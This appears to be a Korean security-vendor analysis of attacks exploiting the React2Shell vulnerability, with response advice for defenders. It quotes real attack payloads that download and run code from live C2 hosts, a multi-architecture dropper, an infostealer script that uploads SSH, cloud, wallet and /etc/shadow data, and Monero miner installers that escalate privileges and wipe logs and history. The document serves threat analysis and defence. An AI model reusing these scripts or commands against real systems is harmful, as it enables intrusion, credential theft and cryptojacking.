01. Executive Summary
•
CVE-2025-55182(React2Shell) 취약점을 악용하여 공격 대상을 찾기 위해 자동화 스캐닝 또는 직접 악성코드를 유포하는 방식을 주로 사용
◦
(자동화 스캐닝) : 취약점 패치가 진행되지 않은 서버를 찾기 위해 echo를 통한 계산 결과 리턴, powershell 실행 등 스캐닝 시도
◦
(취약한 서버 발견 시) : 인코딩된 Base64 데이터, 쉘 스크립트 실행을 통한 추가 악성행위 진행 (RAT, Trojan, Miner 설치 목적)
•
취약점 악용에 성공한 경우 스크립트가 동작하여 악성코드가 다운로드 및 설치되며 실행된 악성코드는 암호화폐 채굴, 정보 탈취 및 RAT 기능을 내장
◦
(탈취 정보) : hostname, OS Version, Kernel Version, IP, 로그인 배너 문자열, NIC 이름, id 결과, DNS 구성 등
◦
(위장 프로세스명) : vim, writeback, [kworker/0:2], systemd-devd, system-update-service
•
대응방안
◦
시스템 이상 여부 점검
▪
사용 중인 서버의 프로세스 현황을 점검하여 vim, [kworker/0:2], writeback, systemd-devd , system-update-service 또는 의심스러운 프로세스 존재 시 실제 실행 경로를 파악하여 비정상 실행인 경우 즉시 프로세스 종료
▪
(프로세스 실제 실행경로 확인 방법)
1.
의심스러운 프로세스의 PID 확보 : ps -ef | grep "Process Name"
2.
확보한 PID를 ls -lh /proc/"pid"/exe 입력 시 실제 실행 경로 확인 가능
▪
악성코드가 주로 저장되는 C:\Temp(Windows), /tmp(Linux) 또는 정상적이지 않은 경로에 생성된 파일 발견 시 즉시 삭제
02. CVE-2025-55182(React2Shell) 취약점 악용 사례
자동화 스캔을 통해 CVE-2025-55182(React2Shell) 취약점 악용에 성공한 경우 악성코드를 삽입하여 실행하도록 설계
2.1. devkitstudio 소유 React 서버 대상 공격 시도
•
2025-12-05, devkitstudio 소유 React 서버를 대상으로 CVE-2025-55182(React2Shell)를 악용하여 Linux 백도어 트로이 목마를 다운로드하고 실행하려는 시도를 포착 후 분석 내용을 GitHub에 공개
•
공격 시도에 대한 패킷은 POST 메소드, Python Requests 2.31, 자동화된 공격 스크립트를 사용한 것으로 추정 (분석가가 일부 공개)
◦
Body에 삽입된 코드는 악성코드 다운로드 및 실행을 위한 코드로 확인
wget http://45.76.155.14/vim -O /tmp/vim ; \ // 악성코드 다운로드 및 저장 경로
chmod +x /tmp/vim ; \ // 실행을 위한 권한 변경
nohup /tmp/vim > /dev/null 2>&1 & ; \ // 백그라운드 실행 및 로그아웃 이후에서 실행
rm -f /tmp/vim // 실행파일 삭제
JavaScript
복사
2.2. 자동화 스캔
•
자동화 스캔을 통해 특정 응답을 실행하도록 유도하여 CVE-2025-55182(React2Shell)에 취약한 서버 검증
/bin/sh -c echo $((288*288))
/bin/sh -c echo $((40453*43186))
/bin/sh -c powershell -c \288*288\
JavaScript
복사
2.3. 취약한 서버 대상 악성행위 진행
•
CVE-2025-55182(React2Shell)에 취약한 서버 확인 시 쉘 스크립트, Base64 데이터 실행을 통한 추가 악성행위 진행
1) 쉘 스크립트 실행 목적
/bin/sh -c $(curl -s http://help.093214[.]xyz:9731/fn32.sh | bash | gzip -n | base64 -w0),/bin/sh -c echo VULN_CHECK_SUCCESS
/bin/sh -c $(curl -s http://keep.camdvr[.]org:8000/d5.sh | bash | gzip -n | base64 -w0),/bin/sh -c echo $((41*271)),/bin/sh -c echo $((42259*42449)),/bin/sh -c wget http://superminecraft.net[.]br:3000/sex.sh && bash sex.sh,/bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs[.]com/123/python1.sh && chmod 777 python1.sh && ./python1.sh
/bin/sh -c echo wget -O /tmp/test.sh http://31.57.46.28/test.sh&&sh /tmp/test.sh|base64 -d|sh,/bin/sh -c id && pwd && ls -la && ps aux | grep node
(command -v curl >/dev/null 2>&1 && curl -s hxxp://47.84.57[.]207/index | bash) || (command -v wget >/dev/null 2>&1 && wget -q -O- hxxp://47.84.57[.]207/index | bash) || (command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('hxxp://47.84.57.207/index').read())") || (command -v python >/dev/null 2>&1 && python -c "import urllib2 as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('hxxp://47.84.57[.]207/index').read())")
/bin/sh -c (curl -fsSL -m180 hxxp[:]//115.42.60[.]223:61236/slt||wget -T180 -q hsxp[:]//115.42.60[.]223:61236/slt)|sh
JavaScript
복사
2) base64 인코딩 데이터 실행 목적
/bin/sh -c echo <base64-encoded text> | base64 -d | sh | base64 -w0
-> base64 디코딩 데이터 예시 : /bin/sh uname -a ; id ;hostname -I ; ls -la / ; ls -la ~ ;cat /etc/hosts;cat /etc/resolv.conf // 운영체제 정보, id 결과, hostname, DNS 구성 추출 목적
JavaScript
복사
3) Monero 채굴 프로그램 설치 목적
/bin/sh -c (wget -qO- http://156.234.209[.]103:20912/get.sh || curl -fsSL http://156.234.209[.]103:20912/get.sh) | bash,/bin/sh -c curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner .sh | bash -s <encoded Monero address>,/bin/sh -c echo $((41*271)),/bin/sh -c echo $((42636*43926)),/bin/sh -c powershell -enc IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209[.]103:63938/nrCrQ')
JavaScript
복사
4) React 파일 관리자( fm.js )로 위장한 대화형 웹쉘 설치 시도
/bin/sh -c cd /tmp && nohup node fm.js > /dev/null 2>&1 & sleep 2,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 13373/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 3000/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 8080/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 8888/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 9000/' fm.js 2>&1,/bin/sh -c cd /tmp && wget -q -O fm.js https://raw.githubusercontent.com/laolierzi-commits/phpbd/refs/heads/main/rjs/filemanager-standalone.js 2>&1 && wc -c fm.js,/bin/sh -c echo $((41*271)),/bin/sh -c echo 'segawon.id' > /app/public/segawon.txt && chmod 644 /app/public/segawon.txt,/bin/sh -c echo 'segawon.id' > /app/web/public/segawon.txt && chmod 644 /app/web/public/segawon.txt,/bin/sh -c echo 'segawon.id' > /var/www/html/segawon.txt && chmod 644 /var/www/html/segawon.txt,/bin/sh -c id,/bin/sh -c killall -9 node 2>/dev/null,/bin/sh -c ls -la
JavaScript
복사
03. Malware Analysis
CVE-2025-55182(React2Shell) 취약점 악용에 성공하여 설치 및 실행된 악성코드는 드로퍼, 암호화폐 채굴, 정보 탈취 및 RAT 기능을 내장
Data | Dropper | Infostealer | Cryptocurrency Miner | Persistance (RAT, Sliver) |
최초 실행 파일 종류 | Shell Script | Shell Script, ELF64 | PowerShell, Shell Script | ELF64 |
위장 프로세스명 | [kworker/0:2] | vim | systemd-devd, system-update-service | writeback |
탈취 정보 | - | hostname, OS Version, Kernel Version, 환경변수 등 | - | 로그인 배너 문자열, x86_64 아키텍처 사용 여부, hostname, NIC 정보 등 |
특이사항 | 1. /tmp/log_de.log 파일을 중복실행 방지용으로 사용
2. 복호화 데이터를 메모리에서 직접 실행(XOR Key : 0x99) | 실행 파일의 접근 시간/최종 수정 시간(atime/mtime) 변경 | 피해자 장비에 wget, curl이 없는 경우 C2에서 다운로드 및 설치하는 로직 포함 | 1. 프로세스 재실행을 통한 동적 분석 방해
2. Go 언어 함수 난독화 |
3.1. Dropper (SHA256 : a455731133c00fdd2a141bdfba4def34ae58195126f762cdf951056b0ef161d4)
•
a455731133c00fdd2a141bdfba4def34ae58195126f762cdf951056b0ef161d4 파일 내부 데이터 확인 결과 Shell Script 포함
◦
CPU 아키텍처를 확인한 이후 맞는 버전의 파일을 다운로드 받는 코드로 확인
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
cd /tmp
touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/
touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/
touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/
rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex // 파일 생성 및 이동 가능여부 확인
export PATH=$PATH:$(pwd)
l64="115.42.60.223:61236/?h=115.42.60.223&p=61236&t=tcp&a=l64&stage=true"
l32="115.42.60.223:61236/?h=115.42.60.223&p=61236&t=tcp&a=l32&stage=true"
a64="115.42.60.223:61236/?h=115.42.60.223&p=61236&t=tcp&a=a64&stage=true"
a32="115.42.60.223:61236/?h=115.42.60.223&p=61236&t=tcp&a=a32&stage=true" // CPU 아키텍쳐에 맞는 다운로드 경로 선언
v="6a7603d7tcp"
rm -rf $v
ARCH=$(uname -m) // CPU 아키텍쳐 확인
if [ ${ARCH}x = "x86_64x" ]; then
(curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') // curl, wget, Python을 이용한 파일 다운로드
elif [ ${ARCH}x = "i386x" ]; then
(curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "i686x" ]; then
(curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")')
elif [ ${ARCH}x = "aarch64x" ]; then
(curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")')
elif [ ${ARCH}x = "armv7lx" ]; then
(curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")')
fi
chmod +x $v // 실행 권한추가
(nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &)
#
JavaScript
복사
1) x86_64x 데이터
•
CPU 아키텍쳐가 x86_64x 조건에 맞는 경우 다운로드 받는 샘플 4종 확보
•
샘플 4종의 경우 로직이 유사하여 4a759cbc219bcb3a1f8380a959307b39873fb36a9afd0d57ba0736ad7a02763b 파일을 대표로 분석
SHA256 | Archtecture | Signature |
4a759cbc219bcb3a1f8380a959307b39873fb36a9afd0d57ba0736ad7a02763b | AMD64 | ELF64 |
55ae00bc8482afd085fd128965b108cca4adb5a3a8a0ee2957d76f33edd5a864 | AMD64 | ELF64 |
62e9a01307bcf85cdaeecafd6efb5be72a622c43a10f06d6d6d3b566b072228d | AMD64 | ELF64 |
1663d98c259001f1b03f82d0c5bee7cfd3c7623ccb83759c994f9ab845939665 | AMD64 | ELF64 |
•
최초 실행 시 중복 실행 확인 용도로 /tmp/log_de.log 파일 존재 유무 확인 후 존재 시 실행 종료
•
파일 미존재 시 C2 주소를 name에 전달받아 DNS 주소를 질의
◦
DNS 질의에 성공 시 Domain을 Socket 통신에 사용
◦
DNS 질의에 실패 시 IP 주소를 Socket 통신에 사용
4a759cbc219bcb3a1f8380a959307b39873fb36a9afd0d57ba0736ad7a02763b 기준 최초 실행 시 행위
SHA256 | Filename | C2 IP |
4a759cbc219bcb3a1f8380a959307b39873fb36a9afd0d57ba0736ad7a02763b | /tmp/log_de.log | 115[.]42.60.223 |
55ae00bc8482afd085fd128965b108cca4adb5a3a8a0ee2957d76f33edd5a864 | /tmp/log_de.log | 107[.]173.50.53 |
62e9a01307bcf85cdaeecafd6efb5be72a622c43a10f06d6d6d3b566b072228d | /tmp/log_de.log | 194[.]246.84.13 |
1663d98c259001f1b03f82d0c5bee7cfd3c7623ccb83759c994f9ab845939665 | /tmp/log_de.log | 156[.]238.237.103 |
•
전달받은 주소를 기반으로 Socket 통신을 시작하며 연결에 성공 시 문자열인 “l64 ”,소켓 구조 일부, C2 주소를 전달 후 메모리 실행을 위해 미리 공간을 할당
Socket 통신 시작 및 메모리 할당 준비
•
조건에 부합하는 경우 XOR 암호화된 추가 악성코드로 추정되는 데이터가 돌아오며 XOR Key인 0x99로 복호화 진행
XOR 복호화 루틴
•
프로세스 실행 시 실행파일 이름을 커널 쓰레드로 보이게 하기 위해 [kworker/0:2]로 위장
•
복호화된 데이터를 fexecve() 함수를 이용하여 메모리에서 직접 실행
프로세스명 위장 및 메모리 직접 실행 루틴
3.2. Infostealer
1) Shell Script 기반
•
Shell Script 기반으로 제작된 정보탈취 악성코드는 C2 주소 이외에 코드의 행위가 동일한 것으로 확인
◦
SHA256: 7c2d9c6ae9c811c62e67a6279fec0b68047a031eae674d3d5f9279a4ec7e8a25를 기준으로 분석 진행
NO | SHA256 | C2 |
1 | 7c2d9c6ae9c811c62e67a6279fec0b68047a031eae674d3d5f9279a4ec7e8a25 | http://47[.]84.82.8/upload |
2 | d2263684cfb35bae31de108f5edebdf35cccf21eb8e315a28b39952fae50b3a9 | http://8[.]222.213.56/upload |
•
Shell Script 최상단에 스크립트가 실행된 대상의 hostname을 확보하며 C2, Timestamp 및 출력할 파일의 형식을 미리 지정
#!/bin/bash
# Monitor script configuration
SERVER_URL="http://47.84.82.8/upload"
HOSTNAME=$(hostname)
TIMESTAMP=$(date '+%Y%m%d_%H%M%S')
OUTPUT_FILE="${HOSTNAME}_${TIMESTAMP}.txt"
JavaScript
복사
•
서버에서 탈취할 파일명, 폴더명 및 모니터링할 패턴을 미리 저장
◦
FILE_NAMES: 환경변수 및 암호화폐 관련 데이터, /etc/passwd 및 shadow 파일
◦
MONITOR_PATTERNS: 입력 히스토리, 저장된 패스워드 및 키 정보 등
◦
MONITOR_DIRS: ssh, aws 인증키, 클라우드 관련 데이터
FILE_NAMES | MONITOR_PATTERNS | MONITOR_DIRS |
.env | _history | .ssh |
.docker/config.json | credential | .aws |
.git/config | password | .aliyun |
.config/solana/id.json | config | .hcloud |
.bitcoin/wallet.dat | private | .tccli |
.arbitrum/mainnet/config.yaml | key | .config/gcloud |
.electrum/config | .pem | .kube |
wallet |
•
root 및 사용자 계정의 home 폴더를 순회하면서 지정된 파일이 존재하는 경우 REPORT_DIRS()목록에 추가
USER_DIRS+=("/root")
# Add files from /root
for fname in "${FILE_NAMES[@]}"; do
MONITORED_FILES+=("/root/$fname")
done
MONITORED_FILES+=("/etc/passwd")
MONITORED_FILES+=("/etc/shadow")
# Add monitor directories from /root if they exist
for dir_name in "${MONITOR_DIRS[@]}"; do
if [ -d "/root/$dir_name" ]; then
REPORT_DIRS+=("/root/$dir_name")
fi
done
# Add files from all users in /home
if [ -d "/home" ]; then
for user_dir in /home/*; do
if [ -d "$user_dir" ]; then
USER_DIRS+=("$user_dir")
for fname in "${FILE_NAMES[@]}"; do
MONITORED_FILES+=("$user_dir/$fname")
done
# Add monitor directories if they exist
for dir_name in "${MONITOR_DIRS[@]}"; do
if [ -d "$user_dir/$dir_name" ]; then
REPORT_DIRS+=("$user_dir/$dir_name")
fi
done
fi
done
fi
JavaScript
복사
•
수집된 정보를 ${HOSTNAME}_${TIMESTAMP}.txt 파일명의 파일로 저장
◦
탈취 정보 : hostname, OS Version, Kernel Version, 환경변수, NIC, IP 주소, ps -aux 결과, netstat -anpt 결과, root 및 사용자 계정의 home 폴더를 순회하면서 지정한 파일 내 데이터 전체 복사
# Start report
echo "========================================" > "$OUTPUT_FILE"
echo "Monitor Report - $HOSTNAME" >> "$OUTPUT_FILE"
echo "Time: $(date '+%Y-%m-%d %H:%M:%S')" >> "$OUTPUT_FILE"
echo "========================================" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
# System information
echo "" >> "$OUTPUT_FILE"
echo "===== Basic System Information =====" >> "$OUTPUT_FILE"
echo "Hostname: $HOSTNAME" >> "$OUTPUT_FILE"
echo "" >> "$OUTPUT_FILE"
echo "Operating System:" >> "$OUTPUT_FILE"
if [ -f /etc/os-release ]; then
cat /etc/os-release >> "$OUTPUT_FILE" 2>&1
elif [ -f /etc/redhat-release ]; then
cat /etc/redhat-release >> "$OUTPUT_FILE" 2>&1
elif [ -f /etc/debian_version ]; then
echo "Debian $(cat /etc/debian_version)" >> "$OUTPUT_FILE" 2>&1
else
uname -a >> "$OUTPUT_FILE" 2>&1
fi
JavaScript
복사
•
${HOSTNAME}_${TIMESTAMP}.txt 파일을 C2로 전달하기 위해 curl, wget, python2/3버전의 코드를 각각 사용하여 성공하는 경우 UPLOAD_SUCCESS=1 을 반환
◦
UPLOAD_SUCCESS=1 을 반환한 경우 생성된 txt 파일을 삭제하며 실패하는 경우 스크립트 강제 종료
if command -v curl >/dev/null 2>&1; then
if upload_with_curl; then
UPLOAD_SUCCESS=1
fi
fi
if [ $UPLOAD_SUCCESS -eq 0 ] && command -v wget >/dev/null 2>&1; then
if upload_with_wget; then
UPLOAD_SUCCESS=1
fi
fi
if [ $UPLOAD_SUCCESS -eq 0 ] && command -v python3 >/dev/null 2>&1; then
if upload_with_python3; then
UPLOAD_SUCCESS=1
fi
fi
if [ $UPLOAD_SUCCESS -eq 0 ] && command -v python >/dev/null 2>&1; then
if upload_with_python; then
UPLOAD_SUCCESS=1
fi
fi
if [ $UPLOAD_SUCCESS -eq 1 ]; then
rm -f "$OUTPUT_FILE"
exit 0
else
exit 1
fi
JavaScript
복사
2) ELF64 기반
•
vim(파일명 위장, SHA256 : 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce)은 Go 언어 기반 64비트 Linux 실행 파일로 확인
◦
Virustotal에 샘플 이력 조회 결과 최초 업로드는 2025-12-05 09:49:00(UTC +0)에 베트남에서 최초 업로드 된 것으로 확인
vim(SHA256 : 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce) 파일 정보
Virustotal에 악성코드 조회 결과 시 확인되는 파일 업로드 이력
•
vim(파일명 위장)의 경우 실행된 스크립트에 따라 자가삭제 루틴이 존재하나 실패할 경우를 대비하여 vim의 접근 시간/최종 수정 시간(atime/mtime) 변경 선행
vim 파일의 접근 시간/최종 수정 시간(atime/mtime) 변경
•
내부에 숨겨진 데이터 일부 복호화 결과 api[.]qtss.cc:443를 C2로 사용하며, 공격자가 최초 C2 통신 설정 시 redhat 통신으로 위장하기 위해 redhat 문자열을 포함한 것으로 추정
C2 통신을 위한 문자열 연결 과정의 일부
•
hostname, 운영체제 정보, IP를 먼저 수집 후 C2에 POST 메소드를 이용하여 전달을 시도하나 DNS 질의에서 실패하여 전송 실패된 것으로 확인
◦
User-Agent : Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
정보 수집 시도 및 POST로 전송 시도
Wireshark 패킷에서 확인되는 DNS 질의 실패 내역
3.3. Cryptocurrency Miner
•
암호화폐(Monero, XMR) 채굴을 위해 CPU/GPU 기반 마이너인 XMRig의 Windows, Linux 버전 설치를 위한 스크립트가 포함되어 있는 것으로 확인
•
Windows, Linux 버전 스크립트 공통 동작 순서 (암호화폐 지갑 주소를 스크립트 실행 시 입력받아 사용하는 구조로 확인)
1.
현재 실행한 사용자의 권한을 기준으로 쓰기 가능한 폴더를 검색하여 XMRig 설치 경로 지정
2.
공격자가 채굴된 암호화폐를 자신의 암호화폐 지갑에 추가하기 위해 기존에 설치된 암호화폐 마이너 삭제 작업 선행
3.
시스템 아키텍쳐를 확인하여 64/32비트 확인 후 비트에 맞는 XMRig 파일을 설치 경로에 다운로드 및 실행
4.
XMRig 설치 경로를 숨김 처리하거나 리눅스 버전의 경우 실행 파일을 삭제하여 지속성 유지
1) PowerShell Script 버전
SHA256 | 채굴 프로그램 설치경로 | 채굴 프로그램 다운로드 주소 |
5360c10dedbec8da96d79840feda84fca927356e93f65e3752c1c9f621daf64b | C:\Windows\Temp
C:\Temp
D:\Temp | http://inerna1[.]site/xb/runner.zip |
a26c70f34d35f78f0b95bf402d513f69e196720576d9115dba0efdb4c57deb81 | C:\Windows\Temp
C:\Temp
D:\Temp | http://anywherehost[.]site/xb/runner.zip |
function Find-WritableDirectory { // 쓰기 가능한 폴더를 찾아 작업 폴더로 사용
param (
[switch]$ReturnToOriginal = $false
)
# Save current directory to return later if needed
$originalPath = $pwd.Path
# Define directories to check (in priority order)
$directoriesToCheck = @(
$([System.Environment]::GetEnvironmentVariable('USERPROFILE')),
$pwd.Path, # Current directory
$([System.Environment]::GetEnvironmentVariable('TEMP')), # Temp directory
$([System.Environment]::GetEnvironmentVariable('TMP')), # Alternative temp
"C:\Windows\Temp", # Windows temp
"C:\Temp", # Possible temp location
"D:\Temp" # Another possible temp location
)
== 중략 ==
function xmsInstall // 기존의 채굴 프로그램 검색 후 강제종료 루틴
{
param($KEY)
sc.exe stop c3pool_miner >$null
sc.exe delete c3pool_miner >$null
sc.exe stop jin_miner >$null
sc.exe delete jin_miner >$null
$DIR = Find-WritableDirectory
if ($DIR) {
Write-Host "[+] Working directory changed to: $DIR"
} else {
Write-Host "[-] No writable directory found, continuing in current directory"
return
}
Set-Location $DIR
write-host "[+] DIR: $($pwd.Path)"
Write-Host "[+] UID: $KEY"
Stop-Process -Name 'runner.exe' 2>$null
Stop-Process -Name 'jin.exe' 2>$null
Remove-Item -Force -Recurse cache 2>$null
Remove-Item -Force -Recurse .xms 2>$null
Remove-Item -Force runner.zip 2>$null
Get-Process -name runner 2>$null
if($?){
Write-Host "Miner is Running To EXIT"
return
}
write-host "[+] start install"
net session >$null 2>$null
if($?){
$ADMIN=1
}else{
$ADMIN=0
}
write-host "[+] ADMIN:$ADMIN"
try {
$uri = "http://inerna1.site/xb/runner.zip"
$des = "runner.zip"
Invoke-WebRequest -Uri $uri -UseBasicParsing -OutFile $des
}
catch {
Write-Warning "Download Error: $_"
return
}
if(Test-Path -Path "runner.zip" -PathType Leaf){
write-host "[+] ZIP IS OK"
}else{
Get-ChildItem
write-host "[-] ZIP IS Removed"
return
}
# Unzip
write-host "[+] DIR:$DIR"
$SourceZip = Join-Path -Path $DIR -ChildPath "runner.zip"
$DistDir = Join-Path -Path $DIR -ChildPath "cache"
write-host "[+] SourceZip: $SourceZip"
write-host "[+] DistDir: $DistDir"
try{
Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($SourceZip, $DistDir)
Write-Host "[+] Unzip Ok"
}
catch {
Write-Warning "Error: $_"
return
}
if(Test-Path -Path ".\cache\runner.exe"){
.\cache\runner.exe --version 2>$null
if($?){
Write-Host "[+] Miner Is Ok"
}else{
Write-Error "[-] Miner is Removed"
return
}
}
else {
Write-host "[-] cache\runner.exe was removed by antivirus"
return
}
[System.Environment]::SetEnvironmentVariable("KEY",$KEY)
[System.Environment]::SetEnvironmentVariable("PASS","x")
[System.Environment]::SetEnvironmentVariable("LOG",".app.log")
try{
Start-Process "runner.exe" -WorkingDirectory cache -WindowStyle Hidden
} catch {
Write-Error "Error: $_"
return
}
Get-Process -name runner 2>$null
if($?){
Write-Host "[+] start Ok"
}else{
Write-Host "[-] Start Error"
}
}
JavaScript
복사
2) Shell Script 버전
SHA256 | 채굴 프로그램 설치경로 | 채굴 프로그램 다운로드 주소 | 위장 프로세스 명 |
ca77dbfa81abe6afabb417b03e1733f685b9a551b63f492e86e18d3a521b1a6 | /tmp
/var/tmp
/dev/shm | http://inerna1[.]site/xms/su?isokgrep5.2&os=$(uname -o)&arch=$(uname -m) | systemd-devd |
b9df31875df5761c9b75065c8323f13ead8e033f9fdc922422b045e17e0d5e2 | /tmp
/var/tmp
/dev/shm | http://anywherehost[.]site/xb/systemd-devd.$(uname -m)?5.2isokgrep$PASSWORD | systemd-devd |
if [ -n "$1" ];then // 최초 실행 시 패스워드를 전달 받아 실행
PASSWORD=$1
elif [ -n "$UID" ]; then // 아닌 경우 UID를 패스워드로 사용
PASSWORD="$UID"
else
echo "[-] UID NOT FOUND"
exit 1
fi
// 시스템 아키텍처를 전달받아 사용
XDB="http://anywherehost.site/xb/systemd-devd.$(uname -m)?5.2isokgrep$PASSWORD"
PWK="http://anywherehost.site/xms/su?isokgrep5.2&os=$(uname -o)&arch=$(uname -m)"
CURL_DOWNLOAD_URL="http://anywherehost.site/curl/curl.$(uname -m)"
echo "[*] start install"
processName="systemd-devd"
LDR="curl -k -fsSL -m 80"
RUNNING=0
crontab -r 2>/dev/null
ps aux | grep $processName | awk '{if($3<20) print $2}' | xargs -I % kill -9 % 2>/dev/null
if [ "$(id -u)" -eq 0 ];then
if [ -f /etc/ld.so.preload ];then
chattr -ia /etc/ld.so.preload
cat /dev/null >/etc/ld.so.preload
fi
ulimit -n 65535
echo '0' >/proc/sys/kernel/nmi_watchdog 2>/dev/null
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf 2>/dev/null
fi
echo "[+] PASS=$PASSWORD"
clean(){ // 기존의 채굴 프로그램 검색 후 강제종료 루틴
pkill kdevtmpfsi
pkill kinsing
pkill hazara
pkill xmrig
pkill killer
== 중략 ==
fi
fi
done
}
loadCurl(){
# init wget // curl, wget 설치 여부 확인 및 설치된 프로그램을 변수에 로드
echo "[*] start init curl"
if test -x "$(command -v curl)";then
LDR="curl -fsSL"
elif test -x "$(command -v wget)";then
LDR="wget -q -O -"
else
echo "[-] NOT CURL OR WGET" // 둘 다 없는 경우 curl 설치
__curl $CURL_DOWNLOAD_URL > /tmp/curl
chmod +x /tmp/curl
if test -x "$(command -v /tmp/curl)";then
LDR="/tmp/curl -fsSL"
else
echo "[-] NOT CURL"
exit 0
fi
fi
echo "[+] LDR:$LDR"
}
loadCurl
echo "[*] LDR:$LDR"
clear(){
crontab -r 2>/dev/null
}
kill2(){
ps -ef | grep "kthreaddo" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 %
$LDR "http://anywherehost.site/xms/kill2.sh?grep" | sh -s kthreaddo >.log 2>&1 &
tail -100 .log
echo "[+] start kill ok"
}
if [ "$(id -u)" = "0" ];then // root 여부 확인
echo "[+] current user $(whoami)"
else
if sudo -n true 2>/dev/null;then
echo "[+] Use Sudo `whoami`"
sudo bash -c "$LDR http://anywherehost.site/xms/k1.sh?grep | bash -s $PASSWORD"
exit 0
elif [ "$(uname -m)" = "x86_64" ] || [ "$(uname -m)" = "i686" ]; then
# check arch
echo "[*] Try PWK"
$LDR "$PWK" > pwn
echo "[*] Download PWN OK"
chmod +x pwn
rm -rf "GCONV_PATH=." "gconv"
if ./pwn -c "id" | grep "root";then
echo "[+] Got root successful!"
./pwn -c "$LDR http://anywherehost.site/xms/k1.sh?grep | bash -s $PASSWORD"
rm -rf "GCONV_PATH=." "gconv"
exit 0
fi
rm -rf "GCONV_PATH=." "gconv" pwn
else
echo "[+] Arch=$(uname -m)"
fi
fi
install(){
# check file is ok
if $LDR "$XDB" > $processName;then
echo "[+] Use $LDR $XDB > $processName Successful"
else
# download for github
echo "[-] Use $LDR $XDB > $processName Failed"
exit 1
fi
echo "[+] md5 $(md5sum $processName)"
chmod +x $processName
export PATH=$PATH:.
if [ "$(id -u)" = "0" ];then
ulimit -n 65535 2>/dev/null
echo '0' >/proc/sys/kernel/nmi_watchdog 2>/dev/null
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf 2>/dev/null
echo "[+] clear so"
chattr -ia /etc/ld.so.preload 2>/dev/null
rm -rf /etc/ld.so.preload 2>/dev/null
fi
PASS="x" LOG=/dev/shm/.app.log KEY=$PASSWORD $processName -B
echo "[+] install successful!"
kill2
}
install
rm -rf $processName // 자가 삭제
if [ `id -u` -eq 0 ];then
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
fi
echo "[*] EXIT"
history -c
rm -rf ~/.bash_history // 입력한 명령이 기록된 히스토리 파일 삭제
JavaScript
복사
3) Shell Script 신규 버전
•
Shell Script 신규 버전의 경우 암호화폐 지갑 주소가 스크립트에 내장된 구조로 서비스 등록 후 백그라운드로 실행하는 행위 확인
◦
SHA256 : 13675cca4674a8f9a8fabe4f9df4ae0ae9ef11986dd1dcc6a896912c7d527274
#!/bin/bash
# Configuration // XMRig 설치에 필요한 설정 데이터
TAR_FILE="kal.tar.gz"
EXTRACT_DIR="xmrig-6.24.0"
BINARY_PATH="$(pwd)/$EXTRACT_DIR/xmrig"
ARGS="--url pool.hashvault.pro:443 --user 88tGYBwhWNzGesQs5QkwE1PdBa1tXGb9dcjxrdwujU3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfqurdBggvPEhZ43DJ --pass next --donate-level 0 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14"
SERVICE_NAME="system-update-service"
# Download and setup if not already present // 공식 사이트에서 파일 다운로드 진행
if [ ! -f "$BINARY_PATH" ]; then
curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
tar xvzf "$TAR_FILE"
fi
chmod +x "$BINARY_PATH" // 실행 권한 추가
# Attempt systemd setup // 서비스 등록 시도
INSTALLED_SYSTEMD=0
if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then
echo "Root privileges detected. Attempting systemd setup..."
